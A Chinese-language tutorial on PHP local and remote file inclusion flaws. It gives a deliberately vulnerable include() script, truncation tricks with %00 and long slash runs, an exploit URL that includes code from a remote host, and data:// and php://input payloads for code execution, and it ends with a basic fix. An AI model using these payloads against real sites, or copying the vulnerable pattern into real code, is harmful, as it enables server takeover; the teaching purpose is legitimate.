网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

PHP包含漏洞学习 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 0x00包含漏洞成因首先需要了解include()函数与require()函数,他们会将所包含的任何格式的文件以php形式执行。两个函数功能基本相同,此外只有当所包含的文件不存在的时候才会体现两个...

*学习PHP中,依然是搜索引擎加上个人实践的结果

**抛砖引玉~
**Author 音符
*/

0x00  
包含漏洞成因
首先需要了解include()函数与require()函数,他们会将所包含的任何格式的文件以php形式执行。
两个函数功能基本相同,此外只有当所包含的文件不存在的时候才会体现两个函数的不同,如图。
 

<?php 
echo "It is How include() run.\r\n";
include('no.no');
echo 'XDSEC';

?>


<?php 
echo "It is How require() run.\r\n";
require('no.no');
echo 'XDSEC';

?>


 

很清楚,如果是include的话,只会返回一个warning,后续代码可以继续执行,然后如果是require的话,则返回一个致命错误,脚本停止执行。
此外,与此相似的还有require_once(),include_once()两个函数,效果大同小异。

0x10 How to use
test.php:

 

<?php 
$content = $_GET['content'];
include($content);
?>


0x11 包含已上传文件
Usage:test.php?content=../upload/x.jpg
适用于存在上传,但是无法上传可执行脚本的情况下,结果如图。


0x12 
包含截断
然而在实战中,我们遇到的代码可能是这样的
include($content."htm");  //上例结果则包含x.jpg.htm
这就需要利用到%00截断,我们知道字符串以\0为结束符,那么include函数只能读取到x.jpg正是我们上传的文件。
Usage: 
但是这个是当gpc=off的时候我们可以用%00截断。
但是当gpc=ON时,%00会被转义,我们需要其他方法,有资料显示可以用/截断,但是需要一定长度的/,所以我们写一个脚本来测试,当存在多少个/时可以截断后面的字符。

<?php 
$content = 'x.jpg';
for($i=1;$i<=1000;$i++){
  $content .="/";
$a = @include($content.".htm");  //包含错误则不回显
if($a == 1){
  echo $i;    //包含成功时返回/个数
}
}




于是乎
Usage:http://127.0.0.1/test.php?content=x.jpg//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////   (230/)

以上就是常见的LFILocal File Inclusion)的方法,另外,当allow_url_fopen = On并且allow_url_include = On时,则可以包含远程文件。

 

0x13 RFI

利用于不可上传文件时。

Usage:http://127.0.0.1/test.php?content=http://10.11.221.133/x.jpg%00

更多的,当gpc=on时,RFI可以用?来截断,如图。

当然,如果有如下过滤

<?php 

$content = $_GET['content'];

if (strrpos($content, "http")===false) {

  include($content.".htm");

}

else {

  echo "Wrong File!";

}

?>

限制了CONTENT中不能出现http字样,那么就无法远程包含了。另有绕过方法。

 

0x14 PHP伪协议

关于php封装协议的内容,请查阅php手册相关。

在此只是举出几例应用。

PHP 5.2起,可以用data://封装数据流

Usage: http://127.0.0.1/test.php?content=data://text/plain,<?php%20phpinfo();?>

 

 PHP 4.3.0 起支持 php://output  php://input,

而利用php://input输入流,则相当于拿到一个可以任意执行的漏洞。

Usage:

只要我们输入流提交任意命令都会当成一个php语句来执行。猥琐的利用。

 

0x15 etc

Apache日志包含,系统文件包含,目录遍历。。。各种牛逼漏洞不明觉厉,可惜是linux下的,我对linux不了解,就不班门弄斧了,等待各位来补充。

 

0x20 How To fix it

<?php 

$content = $_GET['content'];

if (strrpos($content, "..")===false) {

  include("temp/".$content.".htm");

}

else {

  echo "Wrong File!";

}

?>

预先将要包含的文件放入一个temp文件夹,这样RFI跟伪协议都行不通了,然后禁止content中出现..来禁止跳到其他目录.

PS:这个脚本是我自己写的,有错的话希望大家不吝赐教。

 

Reffer:

1.       https://www.t00ls.net/viewthread.php?tid=22603&highlight=%E5%8C%85%E5%90%AB

2.        http://www.2cto.com/Article/201301/184439.html

3.       http://www.2cto.com/Article/201304/201062.html

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论